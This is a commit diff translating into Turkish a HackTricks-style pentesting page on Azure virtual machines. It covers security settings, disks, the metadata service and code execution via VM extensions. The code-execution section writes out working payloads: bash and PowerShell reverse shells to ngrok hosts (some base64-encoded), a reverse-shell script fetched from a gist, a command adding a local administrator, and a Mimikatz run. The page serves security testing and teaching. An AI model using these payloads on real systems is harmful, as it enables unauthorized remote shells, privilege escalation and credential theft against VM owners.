Translated ['', 'src/pentesting-cloud/azure-security/az-services/vms/REA

This commit is contained in:
Translator
2026-05-05 16:25:54 +00:00
parent db3a0f2bbb
commit 769ae8b92a
@@ -1,57 +1,57 @@
# Az - Sanal Makineler & Ağ
# Az - Virtual Machines & Network
{{#include ../../../../banners/hacktricks-training.md}}
## Azure Ağ Temel Bilgileri
## Azure Networking Basic Info
Azure ağları **farklı varlıklar ve bunları yapılandırma yolları** içerir. Farklı Azure varlıklarının **kısa açıklamaları,** **örnekleri** ve **numaralandırma** komutlarını şurada bulabilirsiniz:
Azure networks, **farklı varlıklar ve yapılandırma yolları** içerir. Farklı Azure network varlıklarının kısa **açıklamalarını,** **örneklerini** ve **enumeration** komutlarını şurada bulabilirsiniz:
{{#ref}}
az-azure-network.md
{{#endref}}
## VM'ler Temel Bilgileri
## VMs Basic information
Azure Sanal Makineleri (VM'ler), **Windows veya Linux işletim sistemlerini çalıştırmanıza olanak tanıyan esnek, talep üzerine bulut tabanlı sunuculardır.** Fiziksel donanım yönetimi olmadan uygulamaları ve iş yüklerini dağıtmanıza olanak tanır. Azure VM'leri, belirli ihtiyaçları karşılamak ve sanal ağlar, depolama ve güvenlik araçları gibi Azure hizmetleriyle entegre olmak için çeşitli CPU, bellek ve depolama seçenekleriyle yapılandırılabilir.
Azure Virtual Machines (VMs), **Windows veya Linux işletim sistemlerini çalıştırmanıza izin veren esnek, isteğe bağlı cloud-based sunuculardır**. Fiziksel donanımı yönetmeden uygulamaları ve workloadsları dağıtmanıza olanak tanır. Azure VMs, belirli ihtiyaçları karşılamak ve virtual networks, storage ve security tools gibi Azure hizmetleriyle entegre olmak için çeşitli CPU, memory ve storage seçenekleriyle yapılandırılabilir.
### Güvenlik Yapılandırmaları
### Security Configurations
- **Kullanılabilirlik Alanları**: Kullanılabilirlik alanları, belirli bir Azure bölgesindeki fiziksel olarak ayrılmış veri merkezi gruplarıdır ve yerel kesintiler veya felaketlerden etkilenen birden fazla alan riskini en aza indirmek için tasarlanmıştır.
- **Güvenlik Türü**:
- **Standart Güvenlik**: Bu, herhangi bir özel yapılandırma gerektirmeyen varsayılan güvenlik türüdür.
- **Güvenilir Başlatma**: Bu güvenlik türü, Secure Boot ve Sanal Güvenilir Platform Modülü (vTPM) kullanarak önyükleme kitleri ve çekirdek düzeyindeki kötü amaçlı yazılımlara karşı korumayı artırır.
- **Gizli VM'ler**: Güvenilir başlatmanın üzerine, VM, hipervir ve ana yönetim arasında donanım tabanlı izolasyon sunar, disk şifrelemesini geliştirir ve [**daha fazlası**](https://learn.microsoft.com/en-us/azure/confidential-computing/confidential-vm-overview)**.**
- **Kimlik Doğrulama**: Varsayılan olarak yeni bir **SSH anahtarı oluşturulur**, ancak bir genel anahtar kullanmak veya önceki bir anahtarı kullanmak mümkündür ve varsayılan kullanıcı adı **azureuser**'dır. Ayrıca bir **şifre** kullanacak şekilde yapılandırmak da mümkündür.
- **VM disk şifrelemesi:** Disk, varsayılan olarak platform yönetimli bir anahtar kullanılarak dinlenme durumunda şifrelenir.
- **Ana bilgisayarda Şifreleme**'yi etkinleştirmek de mümkündür; burada veriler, depolama hizmetine gönderilmeden önce ana bilgisayarda şifrelenir ve ana bilgisayar ile depolama hizmeti arasında uçtan uca şifreleme sağlanır ([**docs**](https://learn.microsoft.com/en-gb/azure/virtual-machines/disk-encryption#encryption-at-host---end-to-end-encryption-for-your-vm-data)).
- **NIC ağ güvenlik grubu**:
- **Hiçbiri**: Temelde her portu açar
- **Temel**: HTTP (80), HTTPS (443), SSH (22), RDP (3389) gelen portlarını kolayca açar
- **Gelişmiş**: Bir güvenlik grubu seçin
- **Yedekleme**: **Standart** yedeklemeyi (günde bir) ve **Gelişmiş** (günde birden fazla) etkinleştirmek mümkündür.
- **Yamanın orkestrasyon seçenekleri**: Bu, seçilen politikaya göre VM'lerde yamaların otomatik olarak uygulanmasını sağlar, [**docs**](https://learn.microsoft.com/en-us/azure/virtual-machines/automatic-vm-guest-patching) olarak açıklanmıştır.
- **Uyarılar**: VM'de bir şey olduğunda otomatik olarak e-posta veya mobil uygulama ile uyarı almak mümkündür. Varsayılan kurallar:
- CPU Yüzdesi %80'den büyük
- Kullanılabilir Bellek Baytları 1GB'den az
- Veri Diskleri IOPS Tüketilen Yüzde %95'ten büyük
- OS IOPS Tüketilen Yüzde %95'ten büyük
- Toplam Ağ 500GB'den büyük
- Toplam Ağ Çıkışı 200GB'den büyük
- VmAvailabilityMetric 1'den az
- **Sağlık monitörü**: Varsayılan olarak port 80'de HTTP protokolünü kontrol eder
- **Kilitlemeler**: Bir VM'yi yalnızca okunabilir (**ReadOnly** kilidi) veya okunabilir ve güncellenebilir ancak silinemez (**CanNotDelete** kilidi) hale getirmek için kilitleme sağlar.
- Çoğu VM ile ilgili kaynak **aynı zamanda kilitleri destekler**; diskler, anlık görüntüler...
- Kilitler **kaynak grubu ve abonelik seviyelerinde** de uygulanabilir.
- **Availability Zones**: Availability zones, bir Azure bölgesi içindeki fiziksel olarak ayrılmış, yerel kesintiler veya felaketlerden birden fazla zoneun etkilenme riskini en aza indirmek için kullanılan ayrı datacenter gruplarıdır.
- **Security Type**:
- **Standard Security**: Bu, herhangi bir özel yapılandırma gerektirmeyen varsayılan security typedır.
- **Trusted Launch**: Bu security type, Secure Boot ve Virtual Trusted Platform Module (vTPM) kullanarak boot kits ve kernel-level malwaree karşı korumayı artırır.
- **Confidential VMs**: Trusted launchun üzerine, VM, hypervisor ve host management arasında hardware-based isolation sunar, disk encryption’ı iyileştirir ve [**more**](https://learn.microsoft.com/en-us/azure/confidential-computing/confidential-vm-overview)**.**
- **Authentication**: Varsayılan olarak yeni bir **SSH key generated** edilir, ancak public key kullanmak veya önceki bir keyi kullanmak mümkündür ve varsayılan username **azureuser**dır. Ayrıca **password** kullanacak şekilde yapılandırmak da mümkündür.
- **VM disk encryption:** Disk, default olarak platform managed key kullanılarak at rest şifrelenir.
- Ayrıca, verilerin storage servicee gönderilmeden önce host üzerinde şifrelendiği, host ile storage service arasında uçtan uca encryption sağlayan **Encryption at host** da etkinleştirilebilir ([**docs**](https://learn.microsoft.com/en-gb/azure/virtual-machines/disk-encryption#encryption-at-host---end-to-end-encryption-for-your-vm-data)).
- **NIC network security group**:
- **None**: Temelde her portu açar
- **Basic**: HTTP (80), HTTPS (443), SSH (22), RDP (3389) inbound portlarını kolayca açmaya izin verir
- **Advanced**: Bir security group seçin
- **Backup**: **Standard** backup (günde bir kez) ve **Enhanced** (günde birden fazla) etkinleştirilebilir
- **Patch orchestration options**: Bu, [**docs**](https://learn.microsoft.com/en-us/azure/virtual-machines/automatic-vm-guest-patching) içinde açıklandığı gibi seçilen policyye göre VMlerde patchlerin otomatik olarak uygulanmasını sağlar.
- **Alerts**: VMde bir şey olduğunda email veya mobile app ile otomatik olarak alerts almak mümkündür. Varsayılan kurallar:
- Percentage CPU is greater than 80%
- Available Memory Bytes is less than 1GB
- Data Disks IOPS Consumed Percentage is greater than 95%
- OS IOPS Consumed Percentage is greater than 95%
- Network in Total is greater than 500GB
- Network Out Total is greater than 200GB
- VmAvailabilityMetric is less than 1
- **Heath monitor**: Varsayılan olarak 80 portunda HTTP protocol kontrol eder
- **Locks**: Bir VMnin yalnızca okunabilir (**ReadOnly** lock) ya da okunup güncellenebilir ancak silinemeyebilir (**CanNotDelete** lock) şekilde kilitlenmesini sağlar.
- VM ile ilgili kaynakların çoğu **diskler, snapshots... gibi locksları da destekler**
- Locks, **resource group ve subscription seviyelerinde** de uygulanabilir
## Diskler & anlık görüntüler
## Disks & snapshots
- **2 veya daha fazla VM'ye bir disk eklemeyi etkinleştirmek mümkündür.**
- Varsayılan olarak her disk **şifrelenmiştir** ve bir platform anahtarı kullanır.
- Anlık görüntülerde de aynı durum geçerlidir.
- Varsayılan olarak, diskin **tüm ağlardan paylaşılması mümkündür**, ancak yalnızca belirli **özel erişim** ile **tamamen devre dışı bırakılacak** şekilde de **kısıtlanabilir**.
- Anlık görüntülerde de aynı durum geçerlidir.
- **Diski dışa aktarmak için bir SAS URI** (maksimum 60 gün) **oluşturmak mümkündür**, bu da kimlik doğrulama gerektirip gerektirmeyecek şekilde yapılandırılabilir.
- Anlık görüntülerde de aynı durum geçerlidir.
- Bir diskin **2 veya daha fazla VMye bağlanması** etkinleştirilebilir
- Varsayılan olarak her disk bir platform key ile **encrypted** edilir.
- snapshots için de aynı
- Varsayılan olarak diskin **tüm networklerden paylaşılmasına** izin verilir, ancak yalnızca belirli **private acces**s ile sınırlandırılabilir veya public ve private access tamamen devre dışı bırakılabilir.
- snapshots için de aynı
- Diski **export etmek** için (en fazla 60 gün) **SAS URI generated** edilebilir; authentication gerektirecek şekilde veya gerektirmeyecek şekilde yapılandırılabilir
- snapshots için de aynı
{{#tabs}}
{{#tab name="az cli"}}
@@ -74,12 +74,12 @@ Get-AzDisk -Name <DiskName> -ResourceGroupName <ResourceGroupName>
{{#endtab}}
{{#endtabs}}
## Görseller, Galeri Görselleri ve Geri Yükleme Noktaları
## Images, Gallery Images & Restore points
Bir **VM görüntüsü**, **yeni bir sanal makine (VM)** oluşturmak için gereken işletim sistemi, uygulama ayarları ve dosya sistemi içeren bir şablondur. Bir görüntü ile bir disk anlık görüntüsü arasındaki fark, bir disk anlık görüntüsünün yalnızca okunabilir, belirli bir zamandaki tek bir yönetilen diskin kopyası olmasıdır; bu, esasen yedekleme veya sorun giderme için kullanılırken, bir görüntü **birden fazla diski içerebilir ve yeni VMs oluşturmak için bir şablon olarak hizmet vermek üzere tasarlanmıştır**.\
Görüntüler, Azure'un **Görüntüler bölümünde** veya **Azure hesap galerileri** içinde yönetilebilir; bu, **sürümler** oluşturmayı ve görüntüyü tenantlar arası paylaşmayı veya hatta herkese açık hale getirmeyi sağlar.
Bir **VM image**; yeni bir sanal makine (**VM**) oluşturmak için gereken işletim sistemi, application settings ve filesystem içeren bir şablondur. Bir image ile disk snapshot arasındaki fark, disk snapshot’ın tek bir managed diskin salt okunur, point-in-time kopyası olmasıdır; öncelikle backup veya troubleshooting için kullanılırken, bir image **birden fazla disk içerebilir ve yeni VMler oluşturmak için bir şablon olarak hizmet vermek üzere tasarlanmıştır**.\
Images, Azureun **Images section** içinde veya **Azure compute galleries** içinde yönetilebilir; bu da image için **versions** oluşturmayı, image’ı tenantlar arası **share** etmeyi ve hatta public yapmayı sağlar.
Bir **geri yükleme noktası**, VM yapılandırmasını ve **belirli bir zamandaki** uygulama tutarlı **anlık görüntüleri** ile birlikte VM'ye bağlı olan tüm yönetilen disklerin anlık görüntülerini saklar. Bu, VM ile ilişkilidir ve amacı, o VM'yi o belirli zamandaki durumuna geri yükleyebilmektir.
Bir **restore point**, VM configuration’ı ve VMe bağlı tüm managed disklerin **point-in-time** application-consistent **snapshots**’ını saklar. Bu, VM ile ilişkilidir ve amacı, o VMi belirli bir andaki haline geri yükleyebilmektir.
{{#tabs}}
{{#tab name="az cli"}}
@@ -144,15 +144,15 @@ Get-AzRestorePointCollection -Name <CollectionName> -ResourceGroupName <Resource
## Azure Site Recovery
[**Belgeler**](https://learn.microsoft.com/en-us/azure/site-recovery/site-recovery-overview) üzerinden: Site Recovery, iş sürekliliğini sağlamak için iş uygulamalarını ve iş yüklerini kesintiler sırasında çalışır durumda tutmaya yardımcı olur. Site Recovery, fiziksel ve sanal makinelerde (VM'ler) çalışan iş yüklerini birincil bir yerden ikincil bir yere **çoğaltır**. Bir kesinti meydana geldiğinde, ikincil bir yere geçiş yapar ve uygulamalara oradan erişirsiniz. Birincil yer tekrar çalışmaya başladığında, geri geçiş yapabilirsiniz.
From the [**docs**](https://learn.microsoft.com/en-us/azure/site-recovery/site-recovery-overview): Site Recovery, business uygulamaların ve workloadların outage sırasında çalışmaya devam etmesini sağlayarak business continuityyi güvence altına almaya yardımcı olur. Site Recovery, physical ve virtual machines (VMs) üzerinde çalışan workloadları bir primary sitedan secondary locationa **replicates**. Primary site’ınızda bir outage olduğunda, secondary locationa fail over yaparsınız ve appse oradan erişirsiniz. Primary location tekrar çalışır hale geldikten sonra, ona geri fail back yapabilirsiniz.
## Azure Bastion
Azure Bastion, sanal makinelerinize (VM'ler) doğrudan Azure Portal üzerinden veya bir jump box aracılığıyla güvenli ve kesintisiz **Uzak Masaüstü Protokolü (RDP)** ve **Güvenli Kabuk (SSH)** erişimi sağlar. VM'lerinizdeki genel IP adreslerine olan ihtiyacı **ortadan kaldırarak**.
Azure Bastion, virtual machines (VMs) için Azure Portal üzerinden doğrudan veya bir jump box aracılığıyla güvenli ve sorunsuz **Remote Desktop Protocol (RDP)** ve **Secure Shell (SSH)** erişimi sağlar. Bunu **VMler üzerindeki public IP addresses ihtiyacını ortadan kaldırarak** yapar.
Bastion, çalışması gereken VNet içinde `/26` alt ağ maskesine sahip **`AzureBastionSubnet`** adında bir alt ağ dağıtır. Ardından, VM'lerin portlarını İnternete açmadan `RDP` ve `SSH` kullanarak tarayıcı üzerinden iç VM'lere **bağlanmanıza** olanak tanır. Ayrıca bir **jump host** olarak da çalışabilir.
Bastion, çalışması gereken VNet içinde `/26` netmaske sahip **`AzureBastionSubnet`** adlı bir subnet deploy eder. Ardından, VMsin portlarını Internete açmadan `RDP` ve `SSH` kullanarak **browser üzerinden internal VMse connect etmeye** izin verir. Ayrıca bir **jump host** olarak da çalışabilir.
Aboneliğinizdeki tüm Azure Bastion Host'larını listelemek ve bunlar aracılığıyla VM'lere bağlanmak için aşağıdaki komutları kullanabilirsiniz:
Subscription’ınızdaki tüm Azure Bastion Hostsu listelemek ve onlar üzerinden VMse connect olmak için aşağıdaki commandsi kullanabilirsiniz:
{{#tabs}}
{{#tab name="az cli"}}
@@ -189,11 +189,13 @@ Get-AzBastion
## Metadata
Azure Instance Metadata Service (IMDS) **çalışan sanal makine örnekleri hakkında bilgi sağlar** ve bunların yönetimi ve yapılandırılması için yardımcı olur. SKU, depolama, ağ yapılandırmaları ve yaklaşan bakım etkinlikleri hakkında bilgiler gibi detaylar sunar. Bu bilgilere **169.254.169.254** adresindeki yönlendirilemeyen IP adresi üzerinden erişilebilen **REST API** aracılığıyla ulaşılır; bu adres yalnızca VM içinden erişilebilir. VM ile IMDS arasındaki iletişim, güvenli erişimi sağlamak için ana bilgisayar içinde kalır. IMDS'yi sorgularken, VM içindeki HTTP istemcileri doğru iletişimi sağlamak için web proxy'lerini atlamalıdır.
Azure Instance Metadata Service (IMDS) **çalışan virtual machine instanceları hakkında bilgi sağlar** ve yönetim ile yapılandırmalarına yardımcı olur. SKU, storage, network yapılandırmaları ve **REST API available at the non-routable IP address 169.254.169.254** üzerinden yaklaşan bakım olayları hakkında bilgiler sunar; bu adres yalnızca VM içinden erişilebilir. VM ile IMDS arasındaki iletişim host içinde kalır ve güvenli erişim sağlar. IMDS sorgulanırken, VM içindeki HTTP clients doğru iletişim için web proxyleri atlamalıdır.
Ayrıca, metadata uç noktasına ulaşmak için HTTP isteğinin **`Metadata: true`** başlığına sahip olması ve **`X-Forwarded-For`** başlığını içermemesi gerekir.
Ayrıca, metadata endpointine bağlanmak için HTTP request içinde **`Metadata: true`** header’ı olmalı ve **`X-Forwarded-For`** header’ı olmamalıdır.
Bunu nasıl listeleyeceğinizi kontrol edin:
Metadata endpointinden access token istenirken, varsayılan olarak metadata service herhangi bir system assigned managed identity varsa token üretmek için **system assigned managed identity** kullanır. Eğer yalnızca **ONE user assigned managed identity** varsa, bu varsayılan olarak kullanılır. Ancak system assigned managed identity yoksa ve **multiple user assigned managed identities** varsa, metadata service birden fazla managed identity olduğunu belirten bir error döndürür ve **hangisinin kullanılacağını belirtmek** gerekir.
Bunu nasıl enumerate edeceğinizi şurada kontrol edin:
{{#ref}}
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm
@@ -435,17 +437,17 @@ Get-AzVMExtension -VMName <VmName> -ResourceGroupName <ResourceGroupName>
{{#endtab }}
{{#endtabs }}
## VMs'de Kod Çalıştırma
## VMs'de Code Execution
### VM Uzantıları
### VM Extensions
Azure VM uzantıları, Azure sanal makinelerinde (VM'ler) **dağıtım sonrası yapılandırma** ve otomasyon görevleri sağlayan küçük uygulamalardır.
Azure VM extensions, Azure virtual machines (VMs) üzerinde **post-deployment configuration** ve automation görevleri sağlayan küçük uygulamalardır.
Bu, **VM'ler içinde rastgele kod çalıştırmayı** mümkün kılar.
Bu, **VMs içinde arbitrary code execute** etmeye izin verir.
Gerekli izin **`Microsoft.Compute/virtualMachines/extensions/write`**'dir.
Gerekli permission **`Microsoft.Compute/virtualMachines/extensions/write`**'dır.
Tüm mevcut uzantıları listelemek mümkündür:
Mevcut tüm extensions'ları listelemek mümkündür:
{{#tabs }}
{{#tab name="Az Cli" }}
@@ -465,12 +467,12 @@ Get-AzVMExtensionImage -Location <Location> -PublisherName <PublisherName> -Type
{{#endtab }}
{{#endtabs }}
Özel kod çalıştıran **özel uzantılar çalıştırmak mümkündür**:
Özel kod çalıştıran özel extension'ları **çalıştırmak** mümkündür:
{{#tabs }}
{{#tab name="Linux" }}
- Ters bir shell çalıştırın
- Bir ters shell çalıştırın
```bash
# Prepare the rev shell
echo -n 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/13215 0>&1' | base64
@@ -486,7 +488,7 @@ az vm extension set \
--settings '{}' \
--protected-settings '{"commandToExecute": "nohup echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== | base64 -d | bash &"}'
```
- İnternette bulunan bir betiği çalıştırın
- İnternette bulunan bir script'i execute et
```bash
az vm extension set \
--resource-group rsc-group> \
@@ -501,7 +503,7 @@ az vm extension set \
{{#tab name="Windows" }}
- Ters bir shell çalıştırın
- Bir reverse shell çalıştırın
```bash
# Get encoded reverse shell
echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64
@@ -517,7 +519,7 @@ az vm extension set \
--protected-settings '{"commandToExecute": "powershell.exe -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="}'
```
- Dosyadan ters shell çalıştırın
- Dosyadan reverse shell çalıştırma
```bash
az vm extension set \
--resource-group <rsc-group> \
@@ -528,9 +530,9 @@ az vm extension set \
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/33b6d1a80421694e85d96b2a63fd1924/raw/d0ef31f62aaafaabfa6235291e3e931e20b0fc6f/ps1_rev_shell.ps1"]}' \
--protected-settings '{"commandToExecute": "powershell.exe -ExecutionPolicy Bypass -File ps1_rev_shell.ps1"}'
```
Ayrıca şu gibi diğer payload'ları da çalıştırabilirsiniz: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add`
Ayrıca şu gibi başka payload'ları da çalıştırabilirsiniz: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add`
- VMAccess uzantısını kullanarak şifreyi sıfırlama
- VMAccess extension kullanarak password sıfırlama
```bash
# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
@@ -539,15 +541,15 @@ Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Na
{{#endtab }}
{{#endtabs }}
### İlgili VM uzantıları
### İlgili VM extensions
Gerekli izin hala **`Microsoft.Compute/virtualMachines/extensions/write`**.
Gerekli izin hâlâ **`Microsoft.Compute/virtualMachines/extensions/write`**.
<details>
<summary>VMAccess uzantısı</summary>
<summary>VMAccess extension</summary>
Bu uzantı, Windows VM'ler içindeki kullanıcıların şifresini değiştirmeye (veya yoksa oluşturmasına) olanak tanır.
Bu extension, Windows VMs içindeki kullanıcıların password'unu değiştirmeye (veya yoksa oluşturmayı) izin verir.
```bash
# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
@@ -559,7 +561,7 @@ Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Na
<summary>DesiredStateConfiguration (DSC)</summary>
Bu, Azure Windows VM'lerinin yapılandırmasını yönetmek için PowerShell DSC kullanan Microsoft'a ait bir **VM uzantısıdır**. Bu nedenle, bu uzantı aracılığıyla Windows VM'lerinde **rastgele komutlar** çalıştırmak için kullanılabilir:
Bu, Azure Windows VM'lerinin yapılandırmasını yönetmek için PowerShell DSC kullanan Microsoft'a ait bir **VM extension**'dır. Bu nedenle, bu extension aracılığıyla Windows VM'lerinde **arbitrary commands** çalıştırmak için kullanılabilir:
```bash
# Content of revShell.ps1
Configuration RevShellConfig {
@@ -609,35 +611,35 @@ Set-AzVMDscExtension `
<details>
<summary>Hibrit Runbook Çalışanı</summary>
<summary>Hybrid Runbook Worker</summary>
Bu, bir otomasyon hesabından VMs'de runbook'ları çalıştırmaya olanak tanıyan bir VM uzantısıdır. Daha fazla bilgi için [Otomasyon Hesapları hizmetine](../az-automation-account/index.html) bakın.
Bu, bir automation account içinden VMs üzerinde runbookların çalıştırılmasına izin veren bir VM extensiondır. Daha fazla bilgi için [Automation Accounts service](../az-automation-account/index.html) bölümüne bakın.
</details>
### VM Uygulamaları
### VM Applications
Bunlar, VMs'de uygulamaları kolayca eklemek ve kaldırmak için kullanılabilecek **uygulama verileri ve yükleme ile kaldırma betikleri** içeren paketlerdir.
Bunlar, VMs içine uygulamaları kolayca eklemek ve kaldırmak için kullanılabilen tüm **application verilerini ve install ve uninstall scriptlerini** içeren paketlerdir.
```bash
# List all galleries in resource group
az sig list --resource-group <res-group> --output table
# List all apps in a fallery
# List all apps in a gallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table
```
Bu, uygulamaların dosya sisteminde indirildiği yollar:
Uygulamaların dosya sistemi içinde indirildiği yollar şunlardır:
- Linux: `/var/lib/waagent/Microsoft.CPlat.Core.VMApplicationManagerLinux/<appname>/<app version>`
- Windows: `C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.9\Downloads\<appname>\<app version>`
Yeni uygulamaları nasıl kuracağınızı kontrol edin [https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli](https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli)
Yeni uygulamaları nasıl kuracağınızı [https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli](https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli) adresinden kontrol edin
> [!CAUTION]
> **Bireysel uygulamaları ve galerileri diğer abonelikler veya kiracılar ile paylaşmak mümkündür**. Bu, bir saldırganın bir uygulamaya arka kapı koymasına ve diğer aboneliklere ve kiracılara geçiş yapmasına olanak tanıyabileceği için oldukça ilginçtir.
> **Tek tek apps ve galleries'yi diğer subscriptions veya tenants ile paylaşmak** mümkündür. Bu çok ilginçtir çünkü bir saldırganın bir application'ı backdoor'lamasına ve diğer subscriptions ve tenants'a pivot yapmasına izin verebilir.
Ancak **vm uygulamaları için uzantılarda olduğu gibi bir "pazar yeri" yoktur**.
Ancak extensions'ta olduğu gibi vm apps için bir **"marketplace" yoktur**.
Gerekli izinler:
Gereken permissions şunlardır:
- `Microsoft.Compute/galleries/applications/write`
- `Microsoft.Compute/galleries/applications/versions/write`
@@ -645,7 +647,7 @@ Gerekli izinler:
- `Microsoft.Network/networkInterfaces/join/action`
- `Microsoft.Compute/disks/write`
Rastgele komutları çalıştırmak için istismar örneği:
Keyfi komutlar çalıştırmak için exploitation örneği:
{{#tabs }}
{{#tab name="Linux" }}
@@ -727,27 +729,27 @@ az vm application set \
{{#endtab }}
{{#endtabs }}
### Kullanıcı verileri
### User data
Bu, herhangi bir zamanda meta veri uç noktasından alınabilen **kalıcı verilerdir**. Azure'da kullanıcı verilerinin AWS ve GCP'den farklı olduğunu unutmayın çünkü **buraya bir script koyarsanız, varsayılan olarak çalıştırılmaz**.
Bu, metadata endpoint üzerinden herhangi bir zamanda alınabilen **persistent data**'dır. Azure'da user data, AWS ve GCP'den farklıdır çünkü **buraya bir script koyarsanız varsayılan olarak çalıştırılmaz**.
### Özel veriler
### Custom data
VM'ye beklenen yollarda saklanacak bazı veriler geçmek mümkündür:
VM'ye, beklenen path'lerde saklanacak bazı data geçmek mümkündür:
- **Windows**'ta özel veriler `%SYSTEMDRIVE%\AzureData\CustomData.bin` konumunda ikili dosya olarak yer alır ve işlenmez.
- **Linux**'ta `/var/lib/waagent/ovf-env.xml` konumunda saklanıyordu ve şimdi `/var/lib/waagent/CustomData/ovf-env.xml` konumunda saklanıyor.
- **Linux ajanı**: Varsayılan olarak özel verileri işlemez, verilerin etkin olduğu özel bir imaj gereklidir.
- **cloud-init:** Varsayılan olarak özel verileri işler ve bu veriler [**birçok formatta**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html) olabilir. Sadece özel veride script göndererek kolayca bir script çalıştırabilir.
- Hem Ubuntu hem de Debian'ın buraya koyduğunuz scripti çalıştırdığını denedim.
- Bunun çalıştırılması için kullanıcı verilerini etkinleştirmek de gerekmez.
- **Windows**'ta custom data, `%SYSTEMDRIVE%\AzureData\CustomData.bin` içinde binary file olarak yer alır ve işlenmez.
- **Linux**'ta `/var/lib/waagent/ovf-env.xml` içinde saklanırdı ve artık `/var/lib/waagent/CustomData/ovf-env.xml` içinde saklanıyor
- **Linux agent**: Varsayılan olarak custom data'yı işlemez, data'nın etkin olduğu bir custom image gerekir
- **cloud-init:** Varsayılan olarak custom data'yı işler ve bu data [**several formats**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html) içinde olabilir. Custom data içine sadece script'i göndererek kolayca bir script çalıştırabilir.
- Hem Ubuntu hem de Debian'ın buraya koyduğunuz script'i çalıştırdığını denedim.
- Bunun çalıştırılması için user data'yı etkinleştirmek de gerekmez.
```bash
#!/bin/sh
echo "Hello World" > /var/tmp/output.txt
```
### **Komut Çalıştır**
Bu, Azure'un **VM'lerde rastgele komutlar çalıştırmak için** sağladığı en temel mekanizmadır. Gerekli izin `Microsoft.Compute/virtualMachines/runCommand/action`'dır.
Bu, Azure’ın VMlerde **keyfi komutlar çalıştırmak** için sağladığı en temel mekanizmadır. Gerekli izin `Microsoft.Compute/virtualMachines/runCommand/action`'dır.
{{#tabs }}
{{#tab name="Linux" }}
@@ -792,6 +794,221 @@ Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt
{{#endtab }}
{{#endtabs }}
## Azure WireServer & GoalState
Azure VM'leri, yapılandırma, metadata alımı ve kimlik yönetimi için kullanılan **dahili platform endpoint'lerini** açığa çıkarır. Bunlar arasındaki farkı anlamak, **enumeration, privilege escalation ve post-exploitation** için kritik önemdedir.
